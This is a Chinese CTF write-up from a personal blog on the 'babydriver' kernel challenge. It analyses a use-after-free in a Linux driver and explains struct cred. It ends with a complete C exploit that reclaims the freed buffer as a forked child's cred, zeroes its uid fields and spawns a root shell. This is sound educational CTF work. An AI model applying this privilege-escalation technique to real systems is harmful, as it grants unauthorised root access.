Lingze's blog Lingze's blog
timeline
about
friends
categories
tags

lingze

bin不是垃圾桶的意思!
timeline
about
friends
categories
tags
  • ctf_wp
  • kernel
lingze
2022-02-13
目录

kernel_uaf

# kernel uaf

  • 分析
  • 漏洞
  • 利用
    • struct cred
    • uaf利用
    • exp

# 分析

解包得到babydriver.ko文件,

这里其实有点奇怪,关于驱动文件我们要明白,他是常驻内核态的, 我们的程序打开这个文件描述符和读写关闭等操作会转入到这个驱动对应的函数内,我们编写用户态程序进行操作,其实是类似于我们直接去调用这些函数的。其中对应关系,

具体的关系一般要查看 data段的 file_operations, 这里说下一般遇到的常见命名方式。

  • open("driver_name", flag) => Xopen
  • Write => Xwrite
  • read => Xread
  • Ioctl => Xioctl
  • close(fd) => Xrelease

然后载入和卸载驱动会自动调用 init exit两个函数。

# 漏洞

简单分析几个函数, 发现这个驱动主要使用了一个babydevice_t结构体, 其中保存起点和长度,

image-20220213151649156

可以通过read和write进行读写,

通过ioctl可以实现重设大小,

image-20220213151737140

每次open都会设置下这个全局变量。

image-20220213151824489

close的时候将这个buf free掉, 但是没有清除全局变量,存在一个uaf

我们可以同时打开两次, 两次共享这个全局变量, 其中一个关闭的时候,通过另一个就可以实现uaf的操作

image-20220213151904695

# 利用

uaf的利用思路就是堆块再次使用,进行复写。

# struct cred

这里介绍一个提权手段,linux下进程的权限管理是通过cred结构体实现的,定义如下:

// include/linux/cred.h
/*
 * The security context of a task
 *
 * The parts of the context break down into two categories:
 *
 *  (1) The objective context of a task.  These parts are used when some other
 *      task is attempting to affect this one.
 *
 *  (2) The subjective context.  These details are used when the task is acting
 *      upon another object, be that a file, a task, a key or whatever.
 *
 * Note that some members of this structure belong to both categories - the
 * LSM security pointer for instance.
 *
 * A task has two security pointers.  task->real_cred points to the objective
 * context that defines that task's actual details.  The objective part of this
 * context is used whenever that task is acted upon.
 *
 * task->cred points to the subjective context that defines the details of how
 * that task is going to act upon another object.  This may be overridden
 * temporarily to point to another security context, but normally points to the
 * same context as task->real_cred.
 */
struct cred {
        atomic_t        usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
        atomic_t        subscribers;    /* number of processes subscribed */
        void            *put_addr;
        unsigned        magic;
#define CRED_MAGIC      0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
        kuid_t          uid;            /* real UID of the task */
        kgid_t          gid;            /* real GID of the task */
        kuid_t          suid;           /* saved UID of the task */
        kgid_t          sgid;           /* saved GID of the task */
        kuid_t          euid;           /* effective UID of the task */
        kgid_t          egid;           /* effective GID of the task */
        kuid_t          fsuid;          /* UID for VFS ops */
        kgid_t          fsgid;          /* GID for VFS ops */
        unsigned        securebits;     /* SUID-less security management */
        kernel_cap_t    cap_inheritable; /* caps our children can inherit */
        kernel_cap_t    cap_permitted;  /* caps we're permitted */
        kernel_cap_t    cap_effective;  /* caps we can actually use */
        kernel_cap_t    cap_bset;       /* capability bounding set */
        kernel_cap_t    cap_ambient;    /* Ambient capability set */
#ifdef CONFIG_KEYS
        unsigned char   jit_keyring;    /* default keyring to attach requested
                                         * keys to */
        struct key __rcu *session_keyring; /* keyring inherited over fork */
        struct key      *process_keyring; /* keyring private to this process */
        struct key      *thread_keyring; /* keyring private to this thread */
        struct key      *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
        void            *security;      /* subjective LSM security */
#endif
        struct user_struct *user;       /* real user ID subscription */
        struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
        struct group_info *group_info;  /* supplementary groups for euid/fsgid */
        struct rcu_head rcu;            /* RCU deletion hook */
};
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63

其中uid和gid是当前使用的, suid/sgid其实是为了可能存在的uid-euid gid-egid互换准备的缓存位置,在信号 ipc共享内存等位置校验的其实是euid/egid, fuid/fgid是为了文件访问准备的,但是一般会随着euid/egid更改, 而且在其他的unix实现中其实这个访问校验也是通过euid/egid实现的。

其实linux下所有程序都是通过父进程fork得来的,因此也形成了一个进程树结构,fork是从父进程产生新进程出来, 其中这个新进程的权限控制的cred结构体生成的调用链如下:

kernel/fork.c: _do_fork
	-> copy_process 
		-> kernel/cred.c: copy_cred
			-> prepare_cred
1
2
3
4

然后我们确定下 在对应版本 4.4.7, 这个结构体的大小和偏移量:

image-20220213145544095

image-20220213160815926

因为要修改euid和egid, 我们计算下到fsuid的距离。

image-20220213160922647

# uaf利用

首先open两次,通过ioctl修改chunk大小,使其和 cred结构体大小相同,

然后close一个让其free, 可以通过fd2实现uaf,

进行fork, 这时候会创建相关的结构体, 其中就包含cred, 这时候应该会在uaf的buf得到这个结构体,

0x3e8就是1000, 即普通用户权限的uid

image-20220213161326854

然后我们直接使用write可以修改这个内存,将其前0x1c个大小修改为0, 即从uid到euid全部设为0, 即root权限

image-20220213161456476

此时子进程已经拿到了root权限,

image-20220213161520985

# exp

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>

int main(){
    int fd1 = open("/dev/babydev", O_RDWR);
    if (fd1 < 0){
        printf("open fd1 error\n");
        exit(-1);
    }
    printf("open 1 success!\n");
    int fd2 = open("/dev/babydev", O_RDWR);
    if (fd2 < 0){
        printf("open fd2 error\n");
        exit(-1);
    }
    printf("open 2 success!\n");

    ioctl(fd1, 0x10001, 0xa8);
    printf("set struct cred size\n");

    close(fd1);
    printf("close fd1, free 0xa8\n");

    if (fork() == 0){
        printf("fork!");
        int size = 0x1c;
        char buf[size];
        memset(buf, 0, size);
        write(fd2, buf, size);
        printf("write !");
        if (getuid() == 0){
            system("/bin/sh");
        }
        return 0;
    } else {
        printf("hello world\n");
         waitpid(-1, NULL, 0);
    }
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
上次更新: 6/24/2025, 5:07:55 AM
Theme by Vdoing | Copyright © 2019-2025 lingze | MIT License
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式